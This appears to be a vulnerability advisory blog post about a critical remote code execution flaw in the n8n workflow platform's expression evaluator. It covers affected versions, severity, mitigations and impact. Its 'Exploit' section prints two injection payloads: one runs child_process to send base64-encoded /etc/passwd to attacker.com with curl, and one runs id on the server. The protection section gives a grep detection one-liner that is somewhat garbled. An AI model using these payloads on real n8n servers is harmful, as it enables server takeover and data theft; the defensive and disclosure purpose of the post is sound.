Listen to this Post
The vulnerability, identified in n8n workflow automation platform versions from 0.211.0 up to, but not including, 1.120.4, 1.121.1, and 1.122.0, is a critical Remote Code Execution (RCE) flaw residing in the workflow expression evaluation system. The core issue is that expressions, which are user-supplied during workflow configuration to handle data dynamically, are evaluated in a context that is not sufficiently sandboxed or isolated from the underlying Node.js runtime environment. An authenticated attacker, with permissions to create or edit workflows, can craft a malicious expression that, when evaluated by the n8n backend, escapes the intended expression scope and executes arbitrary system commands. This injection leverages the powerful JavaScript capabilities within n8n’s expression language to call Node.js modules like child_process.exec. The exploitation grants the attacker the same privileges as the n8n process itself, leading to full server compromise, data theft, workflow manipulation, and potential pivot points to internal networks. The flaw is fixed in versions 1.120.4, 1.121.1, and 1.122.0 by implementing stricter sandboxing controls that prevent expressions from accessing dangerous runtime functions. Temporary mitigations involve restricting workflow edit permissions and deploying n8n in a minimal-privilege environment, though these do not eliminate the risk.
dailycve form:
Platform: n8n
Version: 0.211.0 to <1.120.4/1.121.1/1.122.0
Vulnerability: Remote Code Execution
Severity: Critical
Date: March 11, 2026
Prediction: Patch already available
What Undercode Say:
Analytics:
The flaw’s criticality is underscored by its CVSS score of 10.0, indicating uncomplicated exploitation with direct impact on confidentiality, integrity, and availability. The attack vector is network-based, requires low attack complexity, and only low-level privileges (authenticated workflow editing), with scope change meaning the compromised component can affect resources beyond its original authorization. Historically, expression evaluation vulnerabilities in automation platforms are frequently targeted because they offer a direct path from application logic to system command execution. The fix involves applying multiple security patches across different branches (08f3320, 1c93335, 39a2d1d), suggesting a multi-faceted hardening of the expression sandbox. Administrators should prioritize upgrades and audit user accounts with workflow creation permissions.
Exploit:
An attacker with access to create or modify a workflow could inject a malicious expression like:
{{ $eval("require('child_process').exec('curl http://attacker.com:8080/?data=$(cat /etc/passwd | base64)')") }}
Or a more direct command execution using n8n’s built-in functions:
{{ (function(){ const { exec } = require('child_process'); exec('id > /tmp/pwned'); return 'executed'; })() }}
When the workflow node evaluates this expression during execution, the embedded JavaScript is run in the server context, executing the system command.
Protection from this CVE:
- Immediate Upgrade: Update n8n to version 1.122.0 or later (or 1.120.4/1.121.1) which contains the patched expression sandbox.
- Restrict Permissions: Limit workflow creation and editing capabilities exclusively to fully trusted administrators using role-based access control.
- Harden Deployment: Run the n8n process with the minimum operating system privileges necessary (e.g., a dedicated non-root user) and restrict its network egress to prevent reverse shells or data exfiltration.
- Monitor Workflows: Audit existing workflows for suspicious expressions, particularly those attempting to call
require,process, or other Node.js globals. Use the following bash one-liner to search for potentially malicious patterns in workflow files:find /path/to/n8n/data -name ".json" -type f -exec grep -l -E "{{.(require(|process.|child_process|eval().}}" {} \;
Impact:
Successful exploitation grants an attacker complete control over the n8n server process. This leads directly to: total compromise of confidentiality via access to all workflow data, credentials, and environment variables; integrity violations through modification of workflows to exfiltrate future data or pivot to connected services; and availability impact if the attacker terminates the n8n service or uses the host for resource exhaustion attacks. As n8n often connects to numerous third-party APIs (databases, cloud services, SaaS applications), this vulnerability becomes a critical entry point for broader supply chain or internal network attacks.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
